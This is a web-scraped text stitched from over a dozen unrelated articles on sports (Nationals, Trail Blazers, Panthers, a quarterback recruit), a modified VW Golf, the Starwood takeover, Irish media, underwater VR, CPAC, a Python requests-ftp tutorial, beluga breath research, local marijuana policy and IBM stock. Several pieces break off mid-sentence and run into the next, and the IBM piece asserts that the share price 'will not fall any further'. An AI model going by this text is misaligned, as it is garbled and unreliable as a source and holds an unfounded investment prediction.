1 of 42 Full Screen Autoplay Close Skip Ad × The Nationals’ rollercoaster 2015 season View Photos From high expectations in the spring to Jonathan Papelbon choking Bryce Harper in the dugout in the penultimate home game to Max Scherzer’s second no-hitter, Washington’s season was certainly memorable. Caption From high expectations in the spring to Jonathan Papelbon choking Bryce Harper in the dugout in the penultimate home game to Max Scherzer’s second no-hitter, Washington’s season was certainly memorable. Nationals infielder Yunel Escobar is greeted by teammates at the plate after hitting a walk-off home run in the 10th inning against the St. Louis Cardinals at Nationals Park on April 21, The Nationals won, 2-1. Toni L. Sandys/The Washington Post Buy Photo Wait 1 second to continue.
“Anthony is entering a similar phase in his career as the academy,” Alter said. “For him to be maturing as a player at the same time the academy is maturing, it’s a cool sort of synergy. We’ll always miss Ian, but I think Anthony is more than ready to take on the role. It’s going to be his program now.”
Rendon said he is impressed with the academy’s 18,000-square-foot, two-floor facility in Southeast Washington that includes a garden, kitchen, seven classrooms and three artificial turf fields. Built primarily with city money, the academy hosts 144 third- to seventh-graders from Wards 7 and 8 for academic and baseball programs after school three times a week during the school year and in the summer. The fields also host hundreds of events a year, and the academy hopes to launch recreational baseball and softball leagues so kids 6 through 12 have affordable chances to play. Among the things Rendon said he cares about teaching kids is healthy eating as the country’s obesity rates rise.
[Ian Desmond’s teammates wish him well with Rangers]
“Say throughout the lunchroom, ‘Oh, I want that Snickers bar,’ but there’s a banana or apple right here,” Rendon said. “Make them choose the apple, and if something from the academy triggers their brain, that’s good. If we can change one or two kids’ lives out of the whole program, that’s positive for me.”
Rendon values his privacy and doesn’t want to be seen as doing charity work for the recognition. But because he is under team control for another four seasons, he wants to develop stronger ties to the community and become a role model. Alter said Rendon’s transformation can be a lesson for the academy students.
“There’s more in this world than just baseball,” Rendon said. “Everybody puts us players on a pedestal. ‘Oh, they’re baseball players and they’re making this much money so they have to do this perfect and that perfect and can’t mess up.’ But we’re human beings as well. We have our great days and our bad days. No matter what bad day I go through or strike out four times in a row, I still want to have that great attitude and go after the game and go talk to the kids and not worry about the game and let them know that this is what matters.”
In a way, Rendon sees his own experiences in the academy kids. “I wouldn’t say I grew up in the worst neighborhood in the world, but it wasn’t the best either,” he said. Rendon credits his parents and travel baseball coach Willie Ansley for guiding him as a youngster in Houston.
“A lot of my friends went down that path, and I still talk to them to this day,” he said. “With some of them, to see how their lives could have changed if they had the right sense of direction or someone in their life.... If we can get to the kids and teach them great values and help them mature and how to be young, strong adult men and women, then you’re slowing that process.”Many pundits have given high grades to the Portland Trail Blazers offseason, as they made several intelligent moves to strengthen their biggest areas of need. One of these moves was to replace J.J. Hickson, playing out of position at Center, with Robin Lopez.
The Trail Blazers were one of the worst defensive teams in the league last season, rating 26th in defensive ratings, allowing 109.2 points per 100 possessions. One of the reasons for this is their inability to defend the pick and roll, as they allowed 0.81 points per possessions (PPP) to the ball handler (19th) and 1.07 PPP to the PNR roll man (28th), per Synergy Sports.
Lopez was one of the best defenders on the PNR roll man, according to Synergy, as he allowed only 0.58 PPP, which ranked 7th in the nation. From the surface, it appears as though Lopez will provide an immediate improvement in this area but the video shows that this may not necessarily be true.
Lopez PNR Defense
Let’s first look at how Lopez graded so well in these situations according to Synergy. When Lopez was defending the pick and roll, the Hornets (now Pelicans) relied on an ICE style of defense, which means that Lopez did not hedge hard on the ball but instead sags into the lane to cut off penetration.
This style of defense slows down the ball handler enough to allow the primary defender to recover while giving the big man the ability to recover to his man to take away the roll option. In this example, Dirk Nowitzki pops out for the pass from his teammate but Lopez has enough time to recover and challenge the long jump shot. It’s good defense mainly because the shot is missed but the defense played as well as it could. The strategy plays to Lopez’s strength and allows him to succeed by contesting the jump shot.
While this style of defense is vulnerable to allowing open jump shots, Lopez is often able to recover quickly enough to at least offer a partial contest of the shot. Plus, the open space is farther from the lane due to Lopez’s initial positioning, which forces the roll man into a long two point attempt. The Hornets used this style of defense on the pick and roll because Lopez would struggle with a hard hedge (as shown below by Portland), as he is not quick enough to stop the dribbler coming off the ball screen. However, he can take away the penetration lane, which slows the ball handler down and then he is in position to recover and contest the jump shot.
Portland PNR Defense
Portland’s main defensive strategy against the pick and roll is to hedge on the ball handler to slow down the action. The defense then has to rotate to the screener while the big man recovers after slowing down the ball. Portland struggled with this part of the defense, which led to many open jump shots for the screener. The frame below shows the beginning of the sequence, as the big man hedged high on the ball screen, forcing Ty Lawson to pick up his dribble.
Several things went wrong on many such possessions that led to easy, uncontested jump shots for the screener. First, the Portland big man was too slow to recover to his man after hedging and slowing down the player using the ballscreen. This allowed the screener to roll to the open area of the floor for a jump shot.
While the hedge on the screen did it’s job most of the time to stop the guard, it left the defense vulnerable to the roll man. Portland’s big had enough quickness that the hedge was effective but it put them too far away from the roll man to recover in time and the help was often late as well. If the third defender did get there to challenge the shot, the big man was able to shoot over the smaller defender. Many of these shots were 15 feet and in, which allowed the offense to avoid the dreaded long two point attempt.
Lopez’s fit into Portland’s defense
As seen from the examples above, the defensive strategy of the Pelicans and the Trail Blazers was nearly the opposite. The question heading into the 2013-14 season is how the new look Trail Blazers will defend the pick and roll and whether the addition of Lopez will improve this aspect of their defense.
The Pelicans used the ICE method primarily because Lopez would struggle on hedging on the guards due to his below average lateral movement. This would expose the defense if the ball handler was able to avoid the hedge or cause Lopez to pick up unnecessary fouls far from the basket. Therefore, the Hornets had Lopez sag into the paint, taking away the driving lanes of the ball handler and forcing the roll man into long, contested jump shots.
This type of defense played right into Lopez’s strengths and did not put him in a position outside of his comfort zone by forcing him to hedge hard on the ball screen. If the Blazers use him to hedge on the ball screen, it is likely he will struggle, which will lead to many easy baskets as the quicker guards easily dribble around him or cause Lopez to get in foul trouble as he tries to slow them down.
In short, although it looks like Lopez is an immediate upgrade to the Blazers poor pick and roll defense, the video shows that this is not quite a slam dunk. If the Blazers have Lopez hedge hard on screens, it is a strategy that will likely not end well for either the Blazers’ defense, as it will be easy to expose this weakness of Lopez, or Lopez’s minutes, as smart guards will be able to pick up cheap fouls on him as he hedges on the screen.
The best idea is to move to a style of defense Lopez is used to playing (at least in situations where Lopez is defending the screener) which would put Lopez in an area of strength and likely improve the Blazers pick and roll defense. Lopez showed with the Pelicans that he is comfortable in this style of defense and Portland adapting this will shore up one of their weakest parts of their defense. If they stick with their strategy from last season, they will struggle again against the pick and roll and could see one of their most important off season signings limited by foul trouble.
The addition of Lopez coupled with putting him in a defensive strategy he is used to and fits his strength will not completely solve the Blazers defensive woes, much less their pick and roll defensive struggles. Plugging in Lopez, the 7th best defender against the PNR roll man as categorized by Synergy seems to be an easy fix to immediately improve the Blazers defense in this area. However, the video shows that there are some other tweaks that Blazers need to work out before the season but the addition of Lopez gives them the possibility to improve their pick and roll defense.
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Kicking Ass & Chewing Gum
Whilst stalking the halls of this year’s Ultimate Dubs I noticed a few interesting liveries that pay homage to retro race and rally cars from days gone by. It’s a trend that’s been on the show scene for a couple of years, and one that I first remember seeing on a pair of UK-built TRA Kyoto E36s in Austria. Personally, I love it. It can add that extra element of design that makes all the difference when you want to stand out.
A word of warning before we go on – I literally cannot resist a good pun. I’ll do my best to restrain myself, but I’m making no promises. You’ll grant me the title though, I’m sure?
The Mk1 VW Golf is a popular choice at present in the show scene, and there must have been a dozen or so gleaming examples that I could’ve brought you from this year’s Ultimate Dubs. However, Dan Guirey’s striking white Berg Cup-inspired example stood out amongst the crowd, so I had to take a closer look. It turned out to have further appeal than just some fancy stickers too; peel away the wrapper and you soon realise there’s a lot more to chew over (sorry) than first meets the eye.
Dan’s owned this car for around 3.5 years and it’s actually been wearing the Wrigley’s 1977 rally car livery since 2014. At the time it was relatively stock-bodied and running a rare 8v Callaway turbo kit from the US, so it was pretty cool already. However, it wasn’t until recently than Dan decided to evolve the Golf into something truly special by beefing up the motor, interior and exterior all in one go.
A lot of work has gone into the engine in particular. Lift the bonnet and you’re now greeted by a 1.9-litre G60 block running a 2.0-litre 8v Beetle crossflow cylinder head and forged pistons. Inside, the engine has been fully ported and polished and there’s a Kent cam and valve train. Power is boosted by a Turbonetics T3 60 Series turbo which is top mounted on a custom manifold. Spent exhaust gasses are expelled via a custom stainless system which has been fitted with an electronically-controlled diverter valve operated from inside the cabin. This allows Dan to switch between a more civilised full system or a raw hidden side-exit exhaust at the flick of a switch. Dan thinks the magic number is circa 300bhp and, now that the car is almost finished, he is looking forward to driving it as much as possible on the road, track and quarter mile.
A custom inlet manifold was fabricated to accept the fly-by-wire throttle and the car runs off 20vT management firing a 2.0-litre 8v single coil pack. The ignition system was designed and fabricated by Tim at VW tuning specialists The Phirm; he mounted a 20vT cam sensor on top of the distributor and fabricated a 20vT trigger wheel to fit to the crank pulley, allowing Dan to run a crank sensor. It’s a very clever amalgamation of parts which works well. Meanwhile, Dan took on the task of welding up all of the unnecessary holes in the engine bay for a tidier look, and relocated the brake servo so that it sits in direct contact with the pedal.
Inside the cabin, a full cage and pair of Sparco R333 seats and Sparco harnesses keep everyone safe. A custom dashboard houses a Race Technology display alongside all the relevant knobs, switches, dials and buttons.
The Golf features an 02J gearbox from a Mk4 1.8T, feeding a Peloquin differential. Dan stirs the ‘box via an imposing but beautifully-crafted CAE Ultra Shifter, and there’s a hydraulic handbrake too. In the boot, a custom Forge Motorsport aluminium fuel cell fills the spare wheel well.
Recent changes saw the Golf’s previously slim lines bulk up thanks to a full Berg Cup kit. The car was in mint (I can’t help it) condition beforehand, so Dan said that the initial cutting of the arches was daunting, but he’s glad he did it now.
The quad Hella spotlights on the front add to the retro rally vibe. Sitting over a set of Compomotive wheels, the car has a wide and purposeful stance – not too low, just right. Sadly, I didn’t hear it running at the show, but I can only imagine it sounds epic – especially switched to the hidden side-exit.
And then of course there’s that livery. It’s pretty fresh, right?
Jordan Butters
Instagram: jordanbutters
[email protected]
Cutting Room FloorThe consortium’s cash offer, which was made on March 10 and announced publicly by Starwood on Monday, represents a significant premium to Marriott’s deal, which has been affected by a decline in the hotel operator’s stock price since it was announced in November.
Starwood said on Monday that its board had not changed its recommendation in support of the Marriott deal, but that it would carefully consider the outcome of its discussions with the consortium led by Anbang to determine the course of action that is in the “best interest of Starwood and its stockholders.”
Starwood said that it had received a waiver from Marriott to allow it to engage in discussions and due diligence with the consortium. The waiver expires on Thursday.
Marriott described the rival takeover approach to Starwood as “highly conditional and nonbinding.”
“Marriott will monitor this development as it and Starwood continue to work toward the closing of its transaction and the successful integration of the two companies,” Marriott said in a news release.
Shareholders of Starwood and Marriott are set to vote on whether to approve the merger on March 28. Marriott would receive a termination fee of $400 million if Starwood were to back out of the deal.The Chairman of Thomas Crosbie Holdings has said there is a tsunami of information coming from new media, some of which has the "capacity to destroy civil society and cause unimaginable suffering."
Speaking at a conference on media diversity in Dublin, Alan Crosbie said that the public service remit of newspapers such as the Irish Examiner, the Irish Independent and the Irish Times should be recognised.
He said: "Obviously, RTE should be funded properly, outside of the advertising market.
"It distorts the market for everybody, because if you're running a TV station and you have €150m to kickstart your year that means you can sell cheaper advertising."
Mr Crosbie said information from traditional media, such as newspapers, radio and television, has a provenance.
He said: "We should value organisations that produce good information."
In relation to new media, he said the question is not whether or not it delivers information, but what it delivers.
Mr Crosbie said: "New media can sometimes give credibility to news that maybe should not have that credibility.
"One of the problems newspapers have is that we are all tarred with the same black brush that (Rupert) Murdoch has created. We are much less trusted than we ought to be.
"The fact is that, to generate good information carries a cost. It requires money. Unless you steal it like most new media companies do.
"And, if you bring that argument to its logical conclusion all you'll get on their news sites is a blank screen, because they eventually will have no one left to steal from."
Media merger legislation planned
Speaking at the same event, the Minister for Communications said that his Department is currently working on drafting a Bill on media mergers.
Pat Rabbitte said the draft is expected to be published in the coming months.
He said criteria applied when assessing any future proposed mergers will include the likely effect of the media merger on plurality and the undesirability of allowing any one individual or undertaking to hold significant interests within a sector or across different sections of media business.
The Minister also said defamation laws have yet to fully come to terms with the implications of new media.
Mr Rabbitte said that in time there may be a place for the inclusion of established online media organs in a system of non statutory and independent self regulation in digital media, possibly even being afforded recognition in the Defamation Act.A smartphone and a snorkeling mask are two of the key parts of a prototype virtual-reality headset that works underwater.
No matter how well virtual reality mimics the sights and sounds of flying, floating, or swimming, it’s impossible to feel that you’re really doing those things when your feet are planted firmly on solid ground. So Stephen Greenwood and Allan Evans are making a VR headset that you can wear underwater.
Greenwood, director of creative development at Discovery Digital Networks, and Evans, cofounder of headset maker Avegant, started working on it in December after talking about what it would be like to combine an isolation tank—where you float in a dark, silent room, alone—with virtual reality.
So far it’s just a side project (and a silly-sounding one at that), but Greenwood and Evans can envision it being developed for entertainment, scuba-diving simulations, or physical therapy. Virtual reality is still in its infancy as a consumer product, and beyond a smattering of games, films, and applications it’s still not clear how we’ll use it; they see this as one option for making VR feel much more captivating than it typically does.
“I think there’s a little more of a suspension of disbelief when you’re in a radically different environment,” Greenwood said. “When you don’t have a sense of the ground or gravity or what’s up or what’s down, it makes it that much more believable.”
Their underwater VR gear is nothing more than a rudimentary prototype, but it does work. The computer and display come from a waterproof Android smartphone, which is attached to a 3-D-printed block of plastic that acts as a spacer between the handset and a snorkeling mask. The mask, covered in black tape to keep light from leaking in, has two biconvex lenses—like the ones you’d find in the simple, handheld Google Cardboard—glued to the inside. A plain old snorkel lets you breathe, and audio comes from a Finis underwater MP3 player that uses bone conduction to transmit sound.
They’ve been trying it out at Greenwood’s apartment building, which has a pool (a rarity in San Francisco). On a sunny, chilly afternoon this month, I jumped in and tried it out myself.
The first experience had me floating above the International Space Station while David Bowie’s “Space Oddity” played on a loop. I found that I didn’t want to do much moving; it was relaxing to just hang, suspended in the water (though the visuals made it feel more like outer space), occasionally twisting around to see what was behind, above, or below.
After I’d spent some time checking out the ISS—minutes, probably, but it was hard to tell how much time passed—Greenwood switched to another VR experience that was a little closer to my reality: an underwater scene with colorful fish, peppy jazz music playing in the background. Hanging out with the fish was a little more fun, despite the fact that water started seeping into the snorkel mask as I swam in circles to investigate the world around me.
I quickly realized that the headset is about as advanced as Google Cardboard at this point. There’s head orientation tracking, but no tracking of your head’s position in space. This means you can turn around to look at different things, but your view of the virtual world through the goggles doesn’t change as you swim around.
This is especially weird if you’re making an effort to swim in one direction, as I did while checking out the fish, because the visuals make you feel as if you’re not actually moving even as your arms and legs are flailing. And it means you have no way to know if you’re about to smack into the side of the pool (Greenwood served as my spotter from the pool deck, but every time I touched the rough walls of the pool the spell was momentarily broken).
In hopes of improving this, Greenwood said, he and Evans are working on building a positional tracking system that communicates with the phone in the headset and can work underwater; lights and cameras, which can be used on terra firma, don’t work so well in that setting. He won’t give specifics beyond saying it involves sound and magnetics to calculate depth.
Despite the simplicity of the setup, however, it was easy to forget about the outside world and just enjoy the weird virtual one below the surface. I didn’t stay down there too long—the day was ending and the pool was getting cold—but I’d like to go back soon.A right-wing Catholic group is criticizing the inclusion of LGBT conservative group GOProud at this weekend’s Conservative Action Political Conference (CPAC), painting GOProud as a rainbow-colored “beaver” threatening to chomp away at what they describe as one of the three primary legs of conservative politics, as pictured above.
Right Wing Watch reported that Tradition, Family, and Property has been distributing a flyer during the conference called “Why GOProud Does Not Belong at CPAC.”
“To be true to itself, the conservative movement must battle on all three conservative fronts (defense, fiscal, and social),” the flyer stated, adding that “individuals and organizations who subscribe to only one or two of the conservative movement’s three legs are still welcome to join the coalition, but should refrain from publicly opposing the |
my case, all I wanted to do was allow multiple FTP verbs, so I created an ad-hoc function table keyed off the names of the verbs. Pretty hacky, but fast.
Second, close(). This is also only called once, at the exact opposite moment to __init__(). Any state you set up in init() should be torn down here. Again, for Requests’ built-in adapters, this means tearing down their ConnectionPool s. For me, nothing.
Finally, send(). This is where the meat of your functionality will occur, so let’s take some time over it.
Send
Glancing through the Requests code reveals that the send() function must, at minimum, accept a single PreparedRequest object and a list of kwargs, and return a Response object. This is where I began to run into trouble.
By default, the PreparedRequest object is very HTTP oriented. This is by design, and any transport adapter you write is likely to be happy with that. However, for me it was mildly problematic. In particular, the PreparedRequest contains almost none of the information on the standard Request object. It carries a url, a method, its headers, its body and its hooks. That’s it.
You get a little more detail from the kwargs. You get the values of the following Requests fields: stream, timeout, verify, cert and proxies. Mostly this stuff is of minimal value, and I ended up ignoring it (though I may go back and use timeout.)
If you’re using HTTP, I suspect you can mostly get by with this. Byte-level manipulation of the body is possible (and encouraged), so you can permute the Request into whatever form is expected by your web service.
For FTP, this was harder. Mostly I wasn’t interested in the data here, except when running an FTP STOR. Here, I wanted to piggyback on Requests’ current file upload syntax. However, by the time I get hold of the Prepared Request, the file has been encoded as multipart form-data. My current solution is to use the Python CGI module to decode the data again. This is shoddy, and far and away the worst part of the code I’ve written.
Returning to your code, this function has all of the responsibility for both sending the data out and parsing it back into a useful form for Requests. You may find, as I did, that you actually want to split this out into several functions or methods.
When building a response, it’s particularly instructive to take a look at the function build_response in requests.adapters. This gives you an idea of the kinds of fields Requests expects to be filled in. I ended up basing my equivalent function very heavily on this.
Surprises
There are a few surprises to be found. The first is that response.content and response.text only work if you provide a file-like object as r.raw. I ended up using BytesIO for this, which is a pain. If you’re using urllib3 this should be easy for you, but it’s worth knowing.
Also bear in mind that you may have to jump through some hoops to get very Requests-like behaviour. The special case of Basic Auth as a naked tuple is handled above the PreparedRequest layer, so if you want to piggyback on it (like I did) be prepared to mess about with headers to get it to work.
Plugging it in
Once you’ve got a transport adapter, all you need to do is plug it in. To do this, use the mount method of the Session object:
s = requests. Session () s. mount ( 'http://randomservice', YourAdapter ())
In my case, this was actually
s = requests. Session () s. mount ( 'ftp://', FTPAdapter ())
Any subsequent Request through that session will use your transport adapter if the URL prefix matches!
Going Deep
For my stuff, though, I wanted to go a bit further. In particular, since I was adding new verbs (LIST, STOR, RETR and NLST), I wanted to make the utility methods available: the equivalents of Session.get() and Session.post(). To do this required that I monkeypatch the Session object.
I didn’t want to do this on import, though: the end user should have the choice about whether they actually want me to mangle the Session object or not. For this reason, I export a function: monkeypatch_session(). This function adds four utility functions to the Session object and overrides the constructor so that the FTPAdapter is automatically mounted.
All Together Now!
When you put that all together, you get my shiny new library. You can get this from the cheeseshop: just run pip install requests-ftp. Once you’ve got it, you can go straight into using it! For example, you can list the files at the root of the directory and then get one:
import requests import requests_ftp as ftp ftp. monkeypatch_session () with requests. Session () as s : r = s. list ( 'ftp://127.0.0.1/', auth = ( 'username', 'password' )) file = r. content. split ( '
' )[ 0 ] r = s. retr ( 'ftp://127.0.0.1/' + file, auth = ( 'username', 'password' )) file = open ( 'temp.txt', 'wb' ) file. write ( r. content )
Caveats
There are lots of things my code doesn’t do. A list can be found on the readme. If you feel like you want to use it anyway, feel free! I’d also welcome contributions to resolve some of its more significant problems (like the fact it isn’t tested).
Summing Up
Writing a transport adapter for HTTP is very easy, especially as the in-built Requests ones have very clean and comprehensible code. Writing them for new protocols is harder.
This is because Requests is laser-focused on HTTP, as it should be. However, you can take my word for it: it is definitely possible to implement some other protocols as Transport Adapters in Requests. Whether you want to is entirely up to you, of course.After a dominating defensive performance against the Buffalo Bills, the Carolina Panthers regressed heavily on Sunday. The most disappointing outcome, however, was the lethargic display by the Panthers run defense. Despite holding LeSean McCoy to 12 yards a week prior, the Panthers allowed 149 rushing yards to the Saints.
The Panthers outstanding run defense versus Buffalo was the combination of sound fundamentals and excellent gap integrity. The inverse of that performance took place on Sunday. The Saints deserve credit, though. They were able to manipulate the gaps by placing an emphasis on presnap motion.
Presnap Motion
The Saints first rushing attempt was only a 5 yard gain, but the way they motioned some of their pass catchers was a sign of things to come.
The Panthers are lined up in a 4-3 over. Strong safety Mike Adams is in the box. When Brees motions Tommy Lee Lewis, Shaq Thompson follows.
Saints first carry of the game. CAR in a 4-3 over. Man across board. Saints shift the WR to strong side. Opens up lane thru B gap pic.twitter.com/tIp2LeNmjE — Billy Marshall (@BillyM_91) September 26, 2017
If the embed doesn’t load click here.
Due to the motion and Thompson following, Brees is alerted that the Panthers are in man coverage. Therefore, the run goes to the weakside where the Saints have the advantage. Why is the B gap unaccounted for? If Thompson follows, then Luke Kuechly and Thomas Davis have to shift quicker.
The next run was a combination of motion and a deceptive play fake.
Before the snap, the Panthers have each gap accounted. The Saints fake a screen after the snap, which causes Davis to move away from the playside run.
Kuechly and Davis are intertwined into the same A gap. The B gap to the playside is open. In addition, the tight end has a free lane to lead Adrian Peterson. Peterson bounces the ball outside, but this was a great job of moving the linebackers without getting physical.
Baldy broke this play down, but CAR left a gap unattended after NO shifted the left side from weak to strong. 58 takes two false steps too pic.twitter.com/PgCPM2ISM1 — Billy Marshall (@BillyM_91) September 26, 2017
If the embed doesn’t load click here.
The next run was the first explosive run by the Saints.
Look at Brees. Identifies the MIKE. They shift the play side run from weak to strong. Gap fits are a complete mess. Can't deal with motion pic.twitter.com/mKpZdgmmNk — Billy Marshall (@BillyM_91) September 26, 2017
If the embed doesn’t load click here.
Before the snap the strong side of the formation is to the right. Brees motions Fleener and the strong side is now to the left. As a result, Davis starts shifting to the weakside. The Saints have the numbers, again, to the playside.
The interior of the Panthers defense is expected to be a strength, but the Saints showed their physicality at the point of attack.
Saints motion the TE, but no presnap shifts from defense. 99 is the 1-technique gets blown back after the snap. No LB to account for B gap pic.twitter.com/qhCzazcHIM — Billy Marshall (@BillyM_91) September 26, 2017
If the embed doesn’t load click here.
Once again, New Orleans shifts the strong side to the formation with motion. The Panthers don’t shift. The center and right guard combine for a duo block on Kawann Short. He gets driven back. Davis should be targeting the B gap, but he hits the A gap instead. Mark Ingram has an open hole for a nice gain. Taking the correct gap fits are becoming a common theme.
More good stuff by Brees. Moves the WR away from the strong side which forces 54 to follow. 58 shifts to account for C gap, but no A gap LB pic.twitter.com/D9oYpuHr4e — Billy Marshall (@BillyM_91) September 26, 2017
If the embed doesn’t load click here.
Brees motions the wide receiver to the weakside, which makes Shaq Thompson follow. Thomas Davis moves to account for the C gap. The Saints center and right guard combine for another duo block. Kuechly anticipates the inside run, but his aggressiveness causes him to over pursue the carry. The A gap is unaccounted by any linebacker. Alvin Kamara has a sizable hole.
Saints motion the WR across the formation, but Worley stays. They run a pitch to the strong side, but CAR has the numbers to win. Big TFL pic.twitter.com/X7hjfIP0UL — Billy Marshall (@BillyM_91) September 26, 2017
If the embed doesn’t load click here.
It wasn’t all bad for the run defense. The force or edge players on the perimeter had some issues, but this was a positive. The Panthers communicate well after the motion. The Saints run a pitch to the strong side, but Carolina has the numbers advantage. Daryl Worley quickly approaches Ingram after the toss and forces a tackle for loss.
The motion causes 54 to move away from strong side. Safeties interchange. 20 comes down. 16 down blocks him. 24 is force, but misses tackle pic.twitter.com/MoMwaydolL — Billy Marshall (@BillyM_91) September 26, 2017
If the embed doesn’t load click here.
This is an example of the force player not executing. Prior to the snap, New Orleans has the Panthers defense running all over. The motion by the wide receiver causes Thompson to follow him. The Panthers had Mike Adams in the box, but he interchanges his role with Kurt Coleman. Coleman is now in the box to the strong side. Brandon Coleman’s block, opens a hole for Ingram. Bradberry is isolated, but as the force player he has to make this tackle sooner.
No pre snap motion or movement by NO. CAR DL shift from strong to weak side. 59 anticipates the play side run, but can't get off the block pic.twitter.com/DnWkZQ1M1V — Billy Marshall (@BillyM_91) September 26, 2017
If the embed doesn’t load click here.
The Saints don’t implement any motion on this run, but the Panthers were clearly expecting them to do so. The defensive line shifts to the weakside before the snap, but the Saints run a power concept to the strongside. This was another case of New Orleans having the numbers advantage to the playside.
Nail in the coffin. NO runs a wide zone on Kamara TD. LBs shift after the TE motion. 59 accounts for wrong gap and can't get off block. pic.twitter.com/9A0X9l16bN — Billy Marshall (@BillyM_91) September 26, 2017
If the embed doesn’t load click here.
Alvin Kamara’s touchdown run late in the 4th quarter was the nail in the coffin for the Panthers. New Orleans is running a wide zone concept to the strongside. Carolina’s linebackers shift with the motion. Davis correctly sets a hard edge, which is exactly what he’s supposed to do on zone runs. The defensive line doesn’t win at the snap, which puts stress on Kuechly. He gets caught reading the wrong gap and he is left chasing. Bradberry is aligned off the line of scrimmage, but he doesn’t read the run quickly enough. He needs to approach the line of scrimmage sooner and execute a “crack/replace” technique to have the run flow outside.
Looking Forward
The pass defense also had a rough day too, but the run defense is expected to be the strong suit. The majority of the explosive runs came when the Panthers were in base defense. Shaq Thompson was moved away from the box, which allowed the Saints to dictate matchups. The Panthers showed commendable effort though, so that’s a positive for the long term. They didn’t show any quit.
The combination of individual breakdowns, scheme issues, and gap fits caused issues. The Panthers should play more nickel with Captain Munnerlyn moving forward. They have one of the best nickel units in the league. Hopefully this is a learning experience for defensive coordinator Steve Wilks. They have to find solutions because they face another hall of fame coach and quarterback on Sunday.
*- Video clips courtesy of NFL.comBrownsburg (Ind.) High five-star 2017 quarterback Hunter Johnson has decommitted from Tennessee and has given his pledge to Clemson, his family tells 247Sports.
247Sports ranks Johnson as the No. 1 quarterback in the country in his class and the No. 11 player overall.
Johnson visited the Tigers campus on Friday.
"Myself and my family both just felt like it was the right spot for me," Johnson said. "I felt like I had a connection there when I went there. It wasn't something I was seeking out. I felt confident with my earlier decision of Tennessee at the time, but once I got there it felt right to me."
He is commit No. 3 in the junior class for Dabo Swinney and his staff..
"It's very exciting," Johnson said. "I'm really confident in Clemson, very excited about it. I know this class is going to take off pretty quick. It's very exciting."
It's an exciting day for Clemson, who also landed a verbal from five-star defensive tackle Dexter Lawrence in the afternoon.
Johnson committed to Tennessee back in August.
"It was definitely tough," Johnson said. "Built great relationships there. I respect the heck out of the coaching staff at Tennessee but I felt like the decision for me to go to Clemson was the right one and I'm confident about it. The fanbase at Tennessee is really special and the coaches there are great coaches and I'm confident they're going in the right direction too."
As a junior, Johnson threw for 2,545 yards and 31 touchdowns. He has a strong relationship with Coach Brandon Streeter. Clemson was first to reach out to Johnson on Sept. 1 and never stopped recruiting him.
"I think one of the things that really stood out to me was the family atmosphere of Clemson," Johnson said. "It's a little bit smaller school and I feel the family atmosphere of the coaches and whole school in general was really special. I felt really great when I was there and it felt right to me."MYSTIC, Conn. — On her trainer’s command, an alabaster-skinned beluga whale named Naku placed her chin on the deck of her outdoor pool and exhaled several times, emitting a hollow “chuff” sound with each breath. The vapor rose into a petri dish a researcher held over her blowhole.
Those tiny drops contain a wealth of information, it turns out. Researchers at Mystic Aquarium and elsewhere are learning how to use the breath, or “blow,” of whales and dolphins to extract and measure hormones, microorganisms, DNA and the byproducts of metabolism.
Their goal is not only to improve the health of captive cetaceans like Naku, but also to develop a powerful, unobtrusive technique for studying them. While blood is the gold standard in physiological research, it can be hard to obtain — and all but impossible from large whales. Three new studies describe advances in breath analysis, which may prove to be the next best thing.
“I suspect that everything that’s in the blood is in the blow, just at much lower concentration, a little harder to measure,” said Kathleen Hunt, a research scientist at the New England Aquarium in Boston. “All kinds of goodies that we could learn a lot from that we’ve never been able to get from these animals.”Flagler County officials are planning a meeting with city officials to discuss the feasibility of a local law that could give sheriff's deputies the option of writing a citation or arresting people caught with 20 grams of pot or less.
PALM COAST�— Flagler County officials are planning a meeting with city officials to discuss the feasibility of a local law that could give sheriff's deputies the option of writing a citation or arresting people caught with small amounts of pot.
It's a topic of robust debate nationally with some states legalizing marijuana in defiance of federal law, the state of Florida OKing some medical marijuana, and most recently, Volusia County softening its stance on those caught with small amounts of cannabis.
(READ: Volusia softens stance on marijuana possession)
In Flagler County, it's currently a misdemeanor to possess even small amounts of marijuana and being caught generally leads to arrest, incarceration, prosecution and perhaps further incarceration and court fines.
Officials in counties and municipalities across the state and nation have been having similar discussions regarding whether the process is a good use of finite resources such as jail cells, law enforcement time, and money paid to both prosecutors and public defenders.
Flagler County spokeswoman Julie Murphy said Flagler County Commission Chairwoman Barbara Revels, a member of a public safety committee, invited the mayors, city managers and police chiefs from all of Flagler County's cities to a meeting May 11 to discuss the topic.
The meeting is set for 8:45 a.m. in the county's Emergency Operations Center.
"Small amount" means 20 grams or less and there is no ordinance specifically addressing the issue of amount, Murphy wrote in an email.
"This meeting is to get some input about the topic," she said.
Some Palm Coast City Council members recently expressed interest in attending the meeting but shared differing opinions on whether they thought marijuana possession should be a ticket-able offense.
City Attorney Bill Reischmann told council members Tuesday that the talks did not have anything to do with decriminalizing marijuana possession —�the state Legislature would have to do that.�What leaders would be talking about is what police response should be.
Mayor Jon Netts didn't like the idea of deciding the issue locally, preferring instead to leave it up to the state.�He said different populations taking different tacks creates “dissimilarity in behavior, dissimilarity in treatment.”
However, he added, “I think decriminalization of small amounts of marijuana is probably long overdue.”
Vice Mayor Heidi Shipley said she thinks pot laws are too harsh to fit the crime.
"I think the concern about a pot conviction is something that would follow you your whole life, just because you did something in the '80s,” she said.
City Manager Jim Landon said he'd let county officials know that multiple council members are interested in attending the meeting.Summary
· International Business Machine Corp (NYSE:IBM)’s revenues have now fallen in 12 straight quarters, causing the stock price to fall in that time.
· The company has been going offloading low-value assets while going through a fundamental transition, improving the profitability of the company.
· Promising growth in strategic businesses and partnerships to take advantage of opportunities in the healthcare field point to a promising future.
· Now is a good time to invest in this company, as the price will not fall any further and will soar when revenue growth returns.
For the 12th straight quarter, International Business Machines Corp. saw its revenue drop compared to the year-earlier period. Total revenue from the quarter fell to $19.6 billion from $22.2 billion, while net income fell slightly to $2.33 billion from $2.38 billion. The consistently diminishing revenues have partially been a result of efforts by CEO Ginny Rometty to transform the business. The stock price has fallen 8.5% since she was appointed CEO, vastly underperforming in a time when the S&P 500 index has surged. The company has maintained for years that it would struggle while transforming the business, but actual results have still not occurred. This could change later this year, as the signs are finally there for IBM to start organically growing its revenue after the transformation. Low value assets have been sold off, revenue looks to have reached a bottom, and the company is investing in strategic imperatives to complete the fundamental transformation that has been years in the making.
Revenue Numbers Misleading
